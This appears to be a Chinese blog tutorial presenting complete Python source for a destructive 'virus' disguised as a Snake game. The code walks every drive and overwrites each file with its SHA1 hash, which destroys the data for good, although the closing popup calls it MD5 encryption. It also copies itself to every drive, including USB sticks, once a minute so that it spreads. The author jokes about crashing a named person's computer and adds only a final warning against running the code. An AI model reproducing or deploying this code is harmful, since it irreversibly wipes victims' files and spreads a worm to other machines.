之前用c++写了一个有点弱智的超简单"病毒",不过至少把张某皓的电脑搞死机了......(坏笑)
今天再开启一个新病毒系列教程-----python3病毒系列。上一个c++小病毒肯定让大家不过瘾吧?没关系,今天我给大家准备了一个"灭霸"病毒-----加密电脑上所有文件。呃......感觉......玩的有点过了呀......
----------------------------------------------------------------------(代码分割线)--------------------------------------------------------------------------------------------
import win32api
import win32con
import hashlib
import os
import shutil
import time
jmp = os.popen("wmic VOLUME GET Label, Name").read()
def Copy(np):
p = os.getcwd() + '\\snake.exe'
os.chdir(np)
shutil.copy(p,np)
def Usb():
plates = os.popen("wmic VOLUME GET Label, Name").read()
pl=['A:/','B:/','C:/','D:/','E:/','F:/','G:/','H:/','I:/','J:/','K:/','L:/','M:/','N:/','O:/','P:/','Q:/','R:/','S:/','T:/','U:/','V:/','W:/','X:/','Y:/','Z:/']
l = plates.__len__()
i = 0
for i in range(l+1):
try:
if plates[i+1]==':':
path = plates[i] + plates[i+1] + plates[i+2]
vpath = path + 'snake.exe'
try:
f = open(vpath)
except:
Copy(path)
except:
pass
def Thanos(plate):
g = os.walk(plate)
for path,d,filelist in g:
for filename in filelist:
if 'snake.exe' not in os.path.join(path,filename):
xd = open(os.path.join(path, filename), 'rb').read()
gys = xd
sha1 = hashlib.sha1(gys)
osv = sha1.hexdigest()
bx = bytes(osv, encoding='utf-8')
with open(os.path.join(path, filename), 'wb') as f:
f.write(bx)
def Snake():
import pygame, sys, random
check_errors = pygame.init()
if check_errors[1] > 0:
print("(!) Had {0} initializing errors, exiting...".format(check_errors[1]))
sys.exit(-1)
else:
print("(+) PyGame successfully initialized!")
playSurface = pygame.display.set_mode((820, 560))
pygame.display.set_caption('snake')
red = pygame.Color(255, 0, 0)
green = pygame.Color(0, 255, 0)
black = pygame.Color(0, 0, 0)
white = pygame.Color(255, 255, 255)
brown = pygame.Color(165, 42, 42)
fpsController = pygame.time.Clock()
snakePos = [100, 50]
snakeBody = [[100, 50], [90, 50], [80, 50]]
foodPos = [random.randrange(1, 72) * 10, random.randrange(1, 46) * 10]
foodSpawn = True
direction = 'RIGHT'
changeto = direction
score = 0
def gameOver():
myFont = pygame.font.SysFont('monaco', 72)
GOsurf = myFont.render('Game Over!', True, red)
GOrect = GOsurf.get_rect()
GOrect.midtop = (370, 190)
playSurface.blit(GOsurf, GOrect)
showScore(0)
pygame.display.flip()
time.sleep(4)
pygame.quit()
sys.exit()
def showScore(choice=1):
sFont = pygame.font.SysFont('monaco', 24)
Ssurf = sFont.render('Score : {0}'.format(score), True, black)
Srect = Ssurf.get_rect()
if choice == 1:
Srect.midtop = (370, 230)
else:
Srect.midtop = (370, 230)
playSurface.blit(Ssurf, Srect)
while True:
for event in pygame.event.get():
if event.type == pygame.QUIT:
pygame.quit()
sys.exit()
elif event.type == pygame.KEYDOWN:
if event.key == pygame.K_RIGHT or event.key == ord('d'):
changeto = 'RIGHT'
if event.key == pygame.K_LEFT or event.key == ord('a'):
changeto = 'LEFT'
if event.key == pygame.K_UP or event.key == ord('w'):
changeto = 'UP'
if event.key == pygame.K_DOWN or event.key == ord('s'):
changeto = 'DOWN'
if event.key == pygame.K_ESCAPE:
pygame.event.post(pygame.event.Event(pygame.QUIT))
if changeto == 'RIGHT' and not direction == 'LEFT':
direction = 'RIGHT'
if changeto == 'LEFT' and not direction == 'RIGHT':
direction = 'LEFT'
if changeto == 'UP' and not direction == 'DOWN':
direction = 'UP'
if changeto == 'DOWN' and not direction == 'UP':
direction = 'DOWN'
if direction == 'RIGHT':
snakePos[0] += 10
if direction == 'LEFT':
snakePos[0] -= 10
if direction == 'UP':
snakePos[1] -= 10
if direction == 'DOWN':
snakePos[1] += 10
snakeBody.insert(0, list(snakePos))
if snakePos[0] == foodPos[0] and snakePos[1] == foodPos[1]:
score += 1
foodSpawn = False
else:
snakeBody.pop()
if foodSpawn == False:
foodPos = [random.randrange(1, 82) * 10, random.randrange(1, 56) * 10]
foodSpawn = True
playSurface.fill(white)
for pos in snakeBody:
pygame.draw.rect(playSurface, green, pygame.Rect(pos[0], pos[1], 10, 10))
pygame.draw.rect(playSurface, brown, pygame.Rect(foodPos[0], foodPos[1], 10, 10))
if snakePos[0] >= 820 or snakePos[0] < 0:
gameOver()
if snakePos[1] >= 470 or snakePos[1] < 0:
gameOver()
for block in snakeBody[1:]:
if snakePos[0] == block[0] and snakePos[1] == block[1]:
gameOver()
showScore()
pygame.display.flip()
fpsController.tick(10)
print('lodding...')
pl=['A:/','B:/','C:/','D:/','E:/','F:/','G:/','H:/','I:/','J:/','K:/','L:/','M:/','N:/','O:/','P:/','Q:/','R:/','S:/','T:/','U:/','V:/','W:/','X:/','Y:/','Z:/']
l = jmp.__len__()
i = 0
for i in range(l+1):
try:
if jmp[i+1]==':':
path = jmp[i] + jmp[i+1] + jmp[i+2]
Thanos(path)
except:
pass
Snake()
win32api.MessageBox(0, 'your all files on this computer is in MD5!', 'Ooooooops!', win32con.MB_ICONWARNING)
while True:
time.sleep(60)
Usb()
呵呵呵呵....
WARNING!!!WARNING!!! NEVER RUN THIS ON YOUR COMPUTER!!!
警告:永远不要在自己的电脑上运行这段代码!!!